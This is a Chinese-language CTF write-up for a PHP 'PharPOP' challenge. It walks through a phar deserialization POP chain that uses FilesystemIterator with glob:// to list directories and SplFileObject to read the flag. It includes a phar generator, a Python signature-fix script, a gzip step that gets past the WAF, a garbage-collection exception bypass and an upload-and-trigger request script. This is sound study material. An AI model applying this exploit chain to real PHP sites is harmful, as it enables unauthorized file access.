training-7

dawn_r1sing Lv3

week3-4(4)

PharPOP

phar反序列化

phar文件本质上是一种压缩文件,以序列化形式储存,遇到某些函数结合phar://伪协议会自动进行反序列化操作。(例如 file_put_contents、file_get_contents)

phar反序列化攻击实质还是一样的,只不过phar文件为我们提供了一种过渡,即使没有unserialize()也有机会进行反序列化攻击

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
highlight_file(__FILE__);

function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}

class air{
public $p;

public function __set($p, $value) {
$p = $this->p->act;
echo new $p($value); //函数!
}
}

class tree{
public $name;
public $act;

public function __destruct() {
return $this->name();
}
public function __call($name, $arg){
$arg[1] =$this->name->$name;

}
}

class apple {
public $xxx;
public $flag;
public function __get($flag)
{
$this->xxx->$flag = $this->flag;
}
}

class D {
public $start;

public function __destruct(){
$data = $_POST[0];
if ($this->start == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".jpg";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->start == 'r') {
waf($data);
$f = file_get_contents($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}

class banana {
public function __get($name){
return $this->$name;
}
}
// flag in /
if(strlen($_POST[1]) < 55) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}

throw new Error("start");
?>

D中file_put_contents()能进行文件上传操作,之后输出phar文件目录 ;file_get_contents去访问phar文件,进而使phar文件反序列化。

整个题要传两个参数0&1

参数1的作用:
  1. unserialize()触发__destruct()
  2. 绕过throw new Error(“start”)报错(正常情况下存在它不会触发__destruct(),导致代码执行失去动力)

(3. “赛道”选择’w’ or ‘r’)

参数0的作用:

​ 0和D连着,作用自然是在我们和D之间“搭桥”,所以D的作用就是参数0的作用

  1. 协助phar文件上传(得到phar文件目录)
  2. 上传phar目录,执行phar文件内容(我们的链子)
步骤:
1、确定漏洞点

phar文件创建目的是什么?

一定与flag有关

有关flag题目给了一个提示// flag in /

是flag文件的目录,那我们还需要文件名称读取文件

之后注意air里的这句:

1
echo new $p($value);

一开始我很疑惑这句话,怎么看怎么觉得奇怪

之后试着单独把air类拿出来执行,会报错,提示类名需要是有效字符串

!应该说的就是 $p不是有效字符串,那就是说给$p找个“有用的名字”

看到别人的wp里给赋值了FilesystemIterator

搜了一下这就是个类名,用来实现目录遍历的

喔,这里是填原生类的,本题就是用原生类FilesystemIterator遍历目录获得flag文件名称,之后用原生类SplFileObject读取文件

大大滴漏洞!

2、创建phar文件

通过phar文件触发tree类的__destruct(),启动我们的链子

我们先写链子

链子的节点是魔术方法

1
2
3
4
5
6
7
8
魔术方法			  [寻找魔术方法与类的依据]				属性赋值
tree::__destruct() [name()]
tree::__call() [->$name(不可访问变量)] $name = class apple //banana的__get()显然没用
apple::__get() [->$flag=(给不可访问变量赋值)] $xxx = class air
$flag = "glob:///f*" //在/下找f开头文件
air::__set() [->act] p = class tree $act = "FilesystemIterator"//__set()的$value是$this->flag,所以前面给$flag赋值flag目录,然后遍历

//在类的方法中注意区分p(属性)与$p(新变量)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
highlight_file(__FILE__);

class air{
public $p;

public function __set($p, $value) {
$p = $this->p->act;
echo new $p($value);
}
}

class tree{
public $name;
public $act;

public function __destruct() {
return $this->name();
}
public function __call($name, $arg){
$arg[1] =$this->name->$name;

}
}

class apple {
public $xxx;
public $flag;
public function __get($flag)
{
$this->xxx->$flag = $this->flag;
}
}
/*$tree = new tree();
$tree->act = "SplFileObject";
$air = new air();
$air->p = $tree;
$apple = new apple();
$apple->xxx = $air;
$apple->flag = "/fflaglag";
$tree1 = new tree();
$tree1->name = $apple;
*/
$b[0] = new tree();
$b[0]->name = new apple();
$b[0]->name->xxx = new air();
$b[0]->name->flag = "glob:///f*";//配合glob://协议读取完整目录,/*3
$b[0]->name->xxx->p = new tree();
$b[0]->name->xxx->p->act = "FilesystemIterator";//迭代文件
$b[1] = 1; //$b[]为绕过异常做准备

@unlink("filename.phar");
$phar = new Phar("filename.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("a.txt","contents");
$phar->stopBuffering();

?>

运行生成filename.phar文件

因为想要通过phar文件触发__destruct(),还需要绕过异常报错

法一:显式销毁,当对象没有被引用时就会被销毁,所以我们可以给对象赋值NULL

在参数1里加一个对象并赋值NULL(当然参数1也要先绕过报错)

法二:隐式销毁,在代码执行完最后一行时,所有申请的内存都要释放掉

强制让GC垃圾回收机制回收对象内存:需要反序列化一个数组,然后再利用第一个索引,来触发GC

php垃圾回收机制与反序列化

参数0的绕过就要用法二,将phar文件改一下索引

image-20231114185134713

因为改了索引值,原来的签名就不匹配了,再改一下签名

1
2
3
4
5
6
7
8
from hashlib import sha1

file = open("F:\脚本\.idea\\filename.phar",'rb').read()
text = file[:-28]
last = file[-8:]
newfile = text+sha1(text).digest()+last

open('filename1.phar','wb').write(newfile)

得到正确的phar文件

3、绕过waf

对phar文件进行压缩(zip)

(与上传文件同步进行)

4、上传文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//参数1构造
class D {
public $start;

public function __destruct(){
$data = $_POST[0];
if ($this->start == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".jpg";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->start == 'r') {
waf($data);
$f = file_get_contents($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}

$a = new D;
$a->start = 'w';
$a->raoguo = new D;
$b = serialize($a);
echo $b;

上传文件(w)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import gzip
import requests
import re
url = 'http://eb42c7e1-21cd-4434-9b23-9481b9df5d0b.node4.buuoj.cn:81/'

file = open("F:\脚本\.idea\\filename1.phar", "rb") #打开文件
file_out = gzip.open("./filename1.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()

res = requests.post(
url,
data={
1: 'O:1:"D":2:{s:5:"start";s:1:"w";s:6:"rao";O:1:"D":1:N;}',
0: open("./filename1.zip",'rb').read()
}
) # 写入

print(res.text)

得到phar文件目录

image-20231114190639238

5、继续传参访问phar
1
2
1: 'O:1:"D":2:{s:5:"start";s:1:"r";s:6:"rao";O:1:"D":1:N;}',
0: 'phar:///tmp/da74e6ce7ff2e3a48d021cdff3615bf2.jpg/a.text'

image-20231114191304563

得到flag文件名称:fflaggg

6、读文件

步骤和签名基本一致,只需要改成

1
2
3
$b[0]->name->flag = "/fflaggg";
$b[0]->name->xxx->p->act = "splFileObject";
//然后再改改文件名称

得到flag

image-20231114175618067

wp

  • Title: training-7
  • Author: dawn_r1sing
  • Created at : 2023-11-16 22:34:16
  • Updated at : 2023-11-16 22:52:45
  • Link: https://dawnrisingdong.github.io/2023/11/16/training-7/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
training-7